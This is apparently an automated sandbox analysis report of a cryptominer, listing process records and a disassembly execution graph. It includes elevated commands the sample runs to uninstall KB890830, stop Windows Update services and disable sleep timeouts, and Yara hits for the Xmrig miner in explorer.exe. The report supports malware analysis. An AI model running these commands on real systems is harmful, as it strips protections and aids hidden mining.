                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:37
                                                                      Start time:13:38:30
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\cmd.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                      Imagebase:0x7ff762bd0000
                                                                      File size:289'792 bytes
                                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:38
                                                                      Start time:13:38:30
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:39
                                                                      Start time:13:38:30
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:40
                                                                      Start time:13:38:30
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:41
                                                                      Start time:13:38:30
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\wusa.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                                      Imagebase:0x7ff7f7de0000
                                                                      File size:345'088 bytes
                                                                      MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:42
                                                                      Start time:13:38:30
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:43
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:44
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:45
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:46
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop bits
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:47
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:48
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop dosvc
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:49
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:50
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\powercfg.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                      Imagebase:0x7ff77a300000
                                                                      File size:96'256 bytes
                                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:51
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\powercfg.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                      Imagebase:0x7ff77a300000
                                                                      File size:96'256 bytes
                                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:52
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:53
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\powercfg.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                      Imagebase:0x7ff77a300000
                                                                      File size:96'256 bytes
                                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:54
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:55
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\powercfg.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                      Imagebase:0x7ff77a300000
                                                                      File size:96'256 bytes
                                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:56
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:57
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:false

                                                                      General

                                                                      Target ID:58
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:59
                                                                      Start time:13:38:31
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\explorer.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:explorer.exe
                                                                      Imagebase:0x7ff609fd0000
                                                                      File size:5'141'208 bytes
                                                                      MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.3836485970.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000003.1503060227.0000000001A07000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.3836485970.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.3836485970.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000003.1503060227.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                      Has exited:false

                                                                      Disassembly

                                                                      Reset < >

                                                                        Execution Graph

                                                                        Execution Coverage:2.2%
                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                        Signature Coverage:13.8%
                                                                        Total number of Nodes:899
                                                                        Total number of Limit Nodes:2
                                                                        execution_graph 2987 140001ac3 2988 140001a70 2987->2988 2989 14000199e 2988->2989 2990 140001b36 2988->2990 2993 140001b53 2988->2993 2991 140001a0f 2989->2991 2994 1400019e9 VirtualProtect 2989->2994 2992 140001ba0 4 API calls 2990->2992 2992->2993 2994->2989 2089 140001ae4 2090 140001a70 2089->2090 2091 14000199e 2090->2091 2092 140001b36 2090->2092 2095 140001b53 2090->2095 2093 140001a0f 2091->2093 2096 1400019e9 VirtualProtect 2091->2096 2097 140001ba0 2092->2097 2096->2091 2098 140001bc2 2097->2098 2100 140001c45 VirtualQuery 2098->2100 2101 140001cf4 2098->2101 2104 140001c04 memcpy 2098->2104 2100->2101 2106 140001c72 2100->2106 2102 140001d23 GetLastError 2101->2102 2103 140001d37 2102->2103 2104->2095 2105 140001ca4 VirtualProtect 2105->2102 2105->2104 2106->2104 2106->2105 2134 140001404 2207 140001394 2134->2207 2136 140001413 2137 140001394 2 API calls 2136->2137 2138 140001422 2137->2138 2139 140001394 2 API calls 2138->2139 2140 140001431 2139->2140 2141 140001394 2 API calls 2140->2141 2142 140001440 2141->2142 2143 140001394 2 API calls 2142->2143 2144 14000144f 2143->2144 2145 140001394 2 API calls 2144->2145 2146 14000145e 2145->2146 2147 140001394 2 API calls 2146->2147 2148 14000146d 2147->2148 2149 140001394 2 API calls 2148->2149 2150 14000147c 2149->2150 2151 140001394 2 API calls 2150->2151 2152 14000148b 2151->2152 2153 140001394 2 API calls 2152->2153 2154 14000149a 2153->2154 2155 140001394 2 API calls 2154->2155 2156 1400014a9 2155->2156 2157 140001394 2 API calls 2156->2157 2158 1400014b8 2157->2158 2159 140001394 2 API calls 2158->2159 2160 1400014c7 2159->2160 2161 140001394 2 API calls 2160->2161 2162 1400014d6 2161->2162 2163 1400014e5 2162->2163 2164 140001394 2 API calls 2162->2164 2165 140001394 2 API calls 2163->2165 2164->2163 2166 1400014ef 2165->2166 2167 1400014f4 2166->2167 2168 140001394 2 API calls 2166->2168 2169 140001394 2 API calls 2167->2169 2168->2167 2170 1400014fe 2169->2170 2171 140001503 2170->2171 2172 140001394 2 API calls 2170->2172 2173 140001394 2 API calls 2171->2173 2172->2171 2174 14000150d 2173->2174 2175 140001394 2 API calls 2174->2175 2176 140001512 2175->2176 2177 140001394 2 API calls 2176->2177 2178 140001521 2177->2178 2179 140001394 2 API calls 2178->2179 2180 140001530 2179->2180 2181 140001394 2 API calls 2180->2181 2182 14000153f 2181->2182 2183 140001394 2 API calls 2182->2183 2184 14000154e 2183->2184 2185 140001394 2 API calls 2184->2185 2186 14000155d 2185->2186 2187 140001394 2 API calls 2186->2187 2188 14000156c 2187->2188 2189 140001394 2 API calls 2188->2189 2190 14000157b 2189->2190 2191 140001394 2 API calls 2190->2191 2192 14000158a 2191->2192 2193 140001394 2 API calls 2192->2193 2194 140001599 2193->2194 2195 140001394 2 API calls 2194->2195 2196 1400015a8 2195->2196 2197 140001394 2 API calls 2196->2197 2198 1400015b7 2197->2198 2199 140001394 2 API calls 2198->2199 2200 1400015c6 2199->2200 2201 140001394 2 API calls 2200->2201 2202 1400015d5 2201->2202 2203 140001394 2 API calls 2202->2203 2204 1400015e4 2203->2204 2205 140001394 2 API calls 2204->2205 2206 1400015f3 2205->2206 2208 1400066a0 malloc 2207->2208 2209 1400013b8 2208->2209 2210 1400013c6 NtAddAtom 2209->2210 2210->2136 2211 140002104 2212 140002111 EnterCriticalSection 2211->2212 2217 140002218 2211->2217 2213 14000220b LeaveCriticalSection 2212->2213 2219 14000212e 2212->2219 2213->2217 2214 140002272 2215 14000214d TlsGetValue GetLastError 2215->2219 2216 140002241 DeleteCriticalSection 2216->2214 2217->2214 2217->2216 2218 140002230 free 2217->2218 2218->2216 2218->2218 2219->2213 2219->2215 2107 140001e65 2108 140001e67 signal 2107->2108 2109 140001e7c 2108->2109 2111 140001e99 2108->2111 2110 140001e82 signal 2109->2110 2109->2111 2110->2111 2995 140001f47 2996 140001e67 signal 2995->2996 2999 140001e99 2995->2999 2997 140001e7c 2996->2997 2996->2999 2998 140001e82 signal 2997->2998 2997->2999 2998->2999 2112 14000216f 2113 140002185 2112->2113 2114 140002178 InitializeCriticalSection 2112->2114 2114->2113 2115 140001a70 2116 14000199e 2115->2116 2120 140001a7d 2115->2120 2117 140001a0f 2116->2117 2118 1400019e9 VirtualProtect 2116->2118 2118->2116 2119 140001b53 2120->2115 2120->2119 2121 140001b36 2120->2121 2122 140001ba0 4 API calls 2121->2122 2122->2119 2220 140001e10 2221 140001e2f 2220->2221 2222 140001ecc 2221->2222 2226 140001eb5 2221->2226 2227 140001e55 2221->2227 2223 140001ed3 signal 2222->2223 2222->2226 2224 140001ee4 2223->2224 2223->2226 2225 140001eea signal 2224->2225 2224->2226 2225->2226 2227->2226 2228 140001f12 signal 2227->2228 2228->2226 3000 140002050 3001 14000205e EnterCriticalSection 3000->3001 3002 1400020cf 3000->3002 3003 1400020c2 LeaveCriticalSection 3001->3003 3004 140002079 3001->3004 3003->3002 3004->3003 3005 1400020bd free 3004->3005 3005->3003 3006 140001fd0 3007 140001fe4 3006->3007 3008 140002033 3006->3008 3007->3008 3009 140001ffd EnterCriticalSection LeaveCriticalSection 3007->3009 3009->3008 2237 140001ab3 2238 140001a70 2237->2238 2238->2237 2239 140001b36 2238->2239 2240 14000199e 2238->2240 2244 140001b53 2238->2244 2242 140001ba0 4 API calls 2239->2242 2241 140001a0f 2240->2241 2243 1400019e9 VirtualProtect 2240->2243 2242->2244 2243->2240 2079 140001394 2083 1400066a0 2079->2083 2081 1400013b8 2082 1400013c6 NtAddAtom 2081->2082 2084 1400066be 2083->2084 2087 1400066eb 2083->2087 2084->2081 2085 140006793 2086 1400067af malloc 2085->2086 2088 1400067d0 2086->2088 2087->2084 2087->2085 2088->2084 2229 14000219e 2230 140002272 2229->2230 2231 1400021ab EnterCriticalSection 2229->2231 2232 140002265 LeaveCriticalSection 2231->2232 2234 1400021c8 2231->2234 2232->2230 2233 1400021e9 TlsGetValue GetLastError 2233->2234 2234->2232 2234->2233 2123 140001000 2124 14000108b __set_app_type 2123->2124 2125 140001040 2123->2125 2126 1400010b6 2124->2126 2125->2124 2127 1400010e5 2126->2127 2129 140001e00 2126->2129 2130 140006c40 __setusermatherr 2129->2130 2131 140001800 2132 140001812 2131->2132 2133 140001835 fprintf 2132->2133 2235 140002320 strlen 2236 140002337 2235->2236 2245 140001140 2248 140001160 2245->2248 2247 140001156 2249 1400011b9 2248->2249 2255 14000118b 2248->2255 2250 1400011d3 2249->2250 2251 1400011c7 _amsg_exit 2249->2251 2253 140001201 _initterm 2250->2253 2254 14000121a 2250->2254 2251->2250 2252 1400011a0 Sleep 2252->2249 2252->2255 2253->2254 2271 140001880 2254->2271 2255->2249 2255->2252 2258 14000126a 2259 14000126f malloc 2258->2259 2260 14000128b 2259->2260 2262 1400012d0 2259->2262 2261 1400012a0 strlen malloc memcpy 2260->2261 2261->2261 2261->2262 2282 140003250 2262->2282 2264 140001315 2265 140001344 2264->2265 2266 140001324 2264->2266 2269 140001160 78 API calls 2265->2269 2267 140001338 2266->2267 2268 14000132d _cexit 2266->2268 2267->2247 2268->2267 2270 140001366 2269->2270 2270->2247 2272 140001247 SetUnhandledExceptionFilter 2271->2272 2273 1400018a2 2271->2273 2272->2258 2273->2272 2274 14000194d 2273->2274 2278 140001a20 2273->2278 2275 14000199e 2274->2275 2276 140001ba0 4 API calls 2274->2276 2275->2272 2277 1400019e9 VirtualProtect 2275->2277 2276->2274 2277->2275 2278->2275 2279 140001b53 2278->2279 2280 140001b36 2278->2280 2281 140001ba0 4 API calls 2280->2281 2281->2279 2285 140003266 2282->2285 2283 1400033ad wcslen 2394 14000153f 2283->2394 2285->2283 2287 1400035ae 2287->2264 2290 1400034a8 2293 1400034ce memset 2290->2293 2295 140003500 2293->2295 2296 140003550 wcslen 2295->2296 2297 140003566 2296->2297 2301 1400035ac 2296->2301 2298 140003580 _wcsnicmp 2297->2298 2299 140003596 wcslen 2298->2299 2298->2301 2299->2298 2299->2301 2300 140003671 wcscpy wcscat memset 2303 1400036b0 2300->2303 2301->2300 2302 1400036f3 wcscpy wcscat memset 2304 140003736 2302->2304 2303->2302 2305 14000383e wcscpy wcscat memset 2304->2305 2306 140003880 2305->2306 2307 140003bd4 wcslen 2306->2307 2308 140003be2 2307->2308 2312 140003c1b 2307->2312 2309 140003bf0 _wcsnicmp 2308->2309 2310 140003c06 wcslen 2309->2310 2309->2312 2310->2309 2310->2312 2311 140003d01 wcscpy wcscat memset 2314 140003d43 2311->2314 2312->2311 2313 140003d86 wcscpy wcscat memset 2315 140003dcc 2313->2315 2314->2313 2316 140003dfc wcscpy wcscat 2315->2316 2317 1400061f3 memcpy 2316->2317 2319 140003e2e 2316->2319 2317->2319 2318 140003f81 wcslen 2321 140003fc6 2318->2321 2319->2318 2320 14000402b wcslen memset 2534 14000157b 2320->2534 2321->2320 2323 1400046af memset 2325 1400046de 2323->2325 2324 140004723 wcscpy wcscat wcslen 2575 14000146d 2324->2575 2325->2324 2329 140004699 2330 14000145e 2 API calls 2329->2330 2333 140004694 2330->2333 2331 1400048c3 2338 140004902 memset 2331->2338 2332 14000157b 2 API calls 2364 140004154 2332->2364 2333->2323 2336 140004833 2661 1400014a9 2336->2661 2337 1400048df 2340 14000145e 2 API calls 2337->2340 2342 1400062d4 2338->2342 2343 140004926 wcscpy wcscat wcslen 2338->2343 2340->2331 2384 140004a50 2343->2384 2346 14000145e 2 API calls 2346->2364 2347 1400048cf 2351 14000145e 2 API calls 2347->2351 2349 1400044c4 _wcsnicmp 2353 14000467c 2349->2353 2349->2364 2351->2331 2355 14000145e 2 API calls 2353->2355 2354 1400048b7 2356 14000145e 2 API calls 2354->2356 2359 140004688 2355->2359 2356->2331 2357 140004522 _wcsnicmp 2357->2353 2357->2364 2358 140004b49 wcslen 2360 14000153f 2 API calls 2358->2360 2361 14000145e 2 API calls 2359->2361 2360->2384 2361->2333 2362 140005e7f memcpy 2362->2384 2363 140004576 _wcsnicmp 2363->2353 2363->2364 2364->2323 2364->2329 2364->2332 2364->2346 2364->2349 2364->2357 2364->2363 2365 140004347 wcsstr 2364->2365 2551 140001599 2364->2551 2564 1400015a8 2364->2564 2365->2353 2365->2364 2366 140005fbc memcpy 2366->2384 2367 140004cbd wcslen 2368 14000153f 2 API calls 2367->2368 2368->2384 2369 14000515d wcslen 2371 14000153f 2 API calls 2369->2371 2370 140004efd wcslen 2372 14000157b 2 API calls 2370->2372 2371->2384 2372->2384 2373 140005b11 wcscpy wcscat wcslen 2376 140001422 2 API calls 2373->2376 2374 140005ff4 memcpy 2374->2384 2375 140004f80 memset 2375->2384 2376->2384 2377 140004fea wcslen 2378 1400015a8 2 API calls 2377->2378 2378->2384 2381 140005052 _wcsnicmp 2381->2384 2382 140005c5c 2382->2264 2383 140005d07 wcslen 2385 1400015a8 2 API calls 2383->2385 2384->2358 2384->2362 2384->2366 2384->2367 2384->2369 2384->2370 2384->2373 2384->2374 2384->2375 2384->2377 2384->2381 2384->2382 2384->2383 2386 1400058b9 memset 2384->2386 2387 1400027d0 11 API calls 2384->2387 2388 140005ab0 memset 2384->2388 2389 14000591b memset 2384->2389 2390 1400060e6 memcpy 2384->2390 2391 140005975 wcscpy wcscat wcslen 2384->2391 2393 14000145e NtAddAtom malloc 2384->2393 2777 1400014d6 2384->2777 2822 140001521 2384->2822 2920 140001431 2384->2920 2385->2384 2386->2384 2386->2388 2387->2384 2388->2384 2389->2384 2390->2384 2851 140001422 2391->2851 2393->2384 2395 140001394 2 API calls 2394->2395 2396 14000154e 2395->2396 2397 140001394 2 API calls 2396->2397 2398 14000155d 2397->2398 2399 140001394 2 API calls 2398->2399 2400 14000156c 2399->2400 2401 140001394 2 API calls 2400->2401 2402 14000157b 2401->2402 2403 140001394 2 API calls 2402->2403 2404 14000158a 2403->2404 2405 140001394 2 API calls 2404->2405 2406 140001599 2405->2406 2407 140001394 2 API calls 2406->2407 2408 1400015a8 2407->2408 2409 140001394 2 API calls 2408->2409 2410 1400015b7 2409->2410 2411 140001394 2 API calls 2410->2411 2412 1400015c6 2411->2412 2413 140001394 2 API calls 2412->2413 2414 1400015d5 2413->2414 2415 140001394 2 API calls 2414->2415 2416 1400015e4 2415->2416 2417 140001394 2 API calls 2416->2417 2418 1400015f3 2417->2418 2418->2287 2419 140001503 2418->2419 2420 140001394 2 API calls 2419->2420 2421 14000150d 2420->2421 2422 140001394 2 API calls 2421->2422 2423 140001512 2422->2423 2424 140001394 2 API calls 2423->2424 2425 140001521 2424->2425 2426 140001394 2 API calls 2425->2426 2427 140001530 2426->2427 2428 140001394 2 API calls 2427->2428 2429 14000153f 2428->2429 2430 140001394 2 API calls 2429->2430 2431 14000154e 2430->2431 2432 140001394 2 API calls 2431->2432 2433 14000155d 2432->2433 2434 140001394 2 API calls 2433->2434 2435 14000156c 2434->2435 2436 140001394 2 API calls 2435->2436 2437 14000157b 2436->2437 2438 140001394 2 API calls 2437->2438 2439 14000158a 2438->2439 2440 140001394 2 API calls 2439->2440 2441 140001599 2440->2441 2442 140001394 2 API calls 2441->2442 2443 1400015a8 2442->2443 2444 140001394 2 API calls 2443->2444 2445 1400015b7 2444->2445 2446 140001394 2 API calls 2445->2446 2447 1400015c6 2446->2447 2448 140001394 2 API calls 2447->2448 2449 1400015d5 2448->2449 2450 140001394 2 API calls 2449->2450 2451 1400015e4 2450->2451 2452 140001394 2 API calls 2451->2452 2453 1400015f3 2452->2453 2453->2290 2454 14000156c 2453->2454 2455 140001394 2 API calls 2454->2455 2456 14000157b 2455->2456 2457 140001394 2 API calls 2456->2457 2458 14000158a 2457->2458 2459 140001394 2 API calls 2458->2459 2460 140001599 2459->2460 2461 140001394 2 API calls 2460->2461 2462 1400015a8 2461->2462 2463 140001394 2 API calls 2462->2463 2464 1400015b7 2463->2464 2465 140001394 2 API calls 2464->2465 2466 1400015c6 2465->2466 2467 140001394 2 API calls 2466->2467 2468 1400015d5 2467->2468 2469 140001394 2 API calls 2468->2469 2470 1400015e4 2469->2470 2471 140001394 2 API calls 2470->2471 2472 1400015f3 2471->2472 2472->2290 2473 14000145e 2472->2473 2474 140001394 2 API calls 2473->2474 2475 14000146d 2474->2475 2476 140001394 2 API calls 2475->2476 2477 14000147c 2476->2477 2478 140001394 2 API calls 2477->2478 2479 14000148b 2478->2479 2480 140001394 2 API calls 2479->2480 2481 14000149a 2480->2481 2482 140001394 2 API calls 2481->2482 2483 1400014a9 2482->2483 2484 140001394 2 API calls 2483->2484 2485 1400014b8 2484->2485 2486 140001394 2 API calls 2485->2486 2487 1400014c7 2486->2487 2488 140001394 2 API calls 2487->2488 2489 1400014d6 2488->2489 2490 1400014e5 2489->2490 2491 140001394 2 API calls 2489->2491 2492 140001394 2 API calls 2490->2492 2491->2490 2493 1400014ef 2492->2493 2494 1400014f4 2493->2494 2495 140001394 2 API calls 2493->2495 2496 140001394 2 API calls 2494->2496 2495->2494 2497 1400014fe 2496->2497 2498 140001503 2497->2498 2499 140001394 2 API calls 2497->2499 2500 140001394 2 API calls 2498->2500 2499->2498 2501 14000150d 2500->2501 2502 140001394 2 API calls 2501->2502 2503 140001512 2502->2503 2504 140001394 2 API calls 2503->2504 2505 140001521 2504->2505 